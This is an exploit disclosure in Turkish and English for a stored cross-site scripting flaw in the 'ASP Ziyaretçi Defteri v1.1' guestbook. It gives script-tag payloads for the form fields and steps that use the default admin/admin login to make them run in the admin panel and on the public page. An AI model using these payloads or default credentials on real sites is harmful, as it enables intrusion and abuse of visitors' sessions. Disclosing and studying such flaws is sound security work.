aspziy-xss.txt

`ASP Ziyaretçi Defteri v1.1 (tr) XSS Vulnerability  
  
#Software: ASP Ziyaretçi Defteri v1.1 (tr)  
#download: http://www.aspindir.com/goster/4882  
#demo: http://www.hiddenchest.com/kodlarim/ziyaret/  
#Found By: GeFORC3 ( G3 )  
  
#Exploit:  
  
1-http://www.example.com/ziyaret/mesaj_formu.asp  
  
Isim: <script>alert("G3");</script>  
E-posta: <script>alert("G3");</script>  
Mesajiniz: <script>alert("G3");</script>  
  
Press to "Gönder"(send) button.  
  
2-  
Yönetici paneli (admin panel):  
http://www.example.com/ziyaret/default.asp (default user:admin pass:admin)  
press "gir" button.  
http://www.example.com/default.asp?islem=login --> running xss code  
  
  
This xss works on ASP Ziyaretçi Defteri v1.1 (tr) script's Yönetici Paneli  
(admin panel)  
  
if eðer admin mesajý onaylarsa (active ederse) xss code çalýþýr guestbook's  
main page (ziyaretçi defterinin ana sayfasýnda)  
  
if admin checked your message (xss code)  
xss code running ASP Ziyaretçi Defteri v1.1's (guestbook's) main page (  
http://example.com/ziyaret/ziyaretci_mesajlari.asp)  
  
  
WwW.GeFORC3.Org | WwW.HeykirBlog.Org | WwW.NetKaBus.Com  
`